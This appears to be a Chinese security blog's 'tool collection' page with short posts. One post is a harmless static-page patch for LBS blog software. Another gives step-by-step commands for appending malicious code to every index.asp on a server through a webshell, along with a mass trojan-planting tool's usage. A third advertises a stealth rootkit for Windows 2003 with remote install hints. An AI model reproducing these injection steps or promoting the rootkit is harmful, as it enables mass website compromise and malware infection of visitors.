分类 ‘工具收集’ 下的日志

LBS静态化补丁

| 鬼仔 | 工具收集 | 2 条评论了已经

鬼仔注：一直以来LBS不能生成静态，是个让人有点遗憾的问题，SiC也迟迟没有放出更新版本。
不过现在fisker放出来LBS的静态化补丁了，这次是真正的生成静态。
关于这个版本作者自己也说了，供测试，不建议正式使用。
我刚在本机测试了，还存在不少BUG，等待作者的下个版本吧。

来源：fisker's blog

当前版本仅供测试，不建议正式使用。
请注意备份。

系统要求:
FSO(FileSystemObject)组件支持；
adodb.stream组件支持；
LBS Version 2.0.304；

插件下载:
单击这里下载

阅读全文 »

Tags: LBS

批量挂马器

| 鬼仔 | 工具收集 | 5 条评论了已经

鬼仔注：丰子写的。
不过还有一种方法：
比如说d:\web\下面有N个站点，然后 dir /b /s d:\web\index.asp >1.txt
等下打开生成的1.txt
看到 d:\web\1\index.asp
d:\web\2\index.asp
d:\web\3\index.asp
这样的
然后将“d:\web\”全部替换为“echo 挂马的代码 >>d:\web\”
保存为BAT
在WEBSHELL上执行

下面看丰子写的这个吧，使用比较简单：

来源：丰初's Blog
C:\>MMbluestar.exe
MMBluestar Ver1.1 李丰初出品 2007年五月5号于公司
当前根目录是>>>C:\
使用方法MMBluestar.exe 路径 挂M的地址

阅读全文 »

Tags: 挂马

终极Rootkit

| 鬼仔 | 工具收集 | 4 条评论了已经

文章作者：教主
信息来源：邪恶八进制

功能介绍:
无进程.无服务.无连接.无启动项.无端口.无注册表项
运行环境:
只能安装在win2003上.
安装方式:
远程3389下安装必须使用计划任务. at 方式.其他远程控制方式双击就可以了

注：有些人说为什么大小不一样.我可以告诉大家 。 绝版王子拿到的版本是我机器之前实验捆绑式代码的时候,里面的附加程序upx.exe被感染了.我想既然都泄露了。我把upx替换新的编译给大家.避免大家中那个捆绑式感染的实验测试程序。

大家别去下那个版本了.请看我上面的红字。生成服务端的时候自动用upx压缩.那个绝版王子的UPX已经被病毒感染。体积大小不一样的了。

阅读全文 »

Tags: Rootkit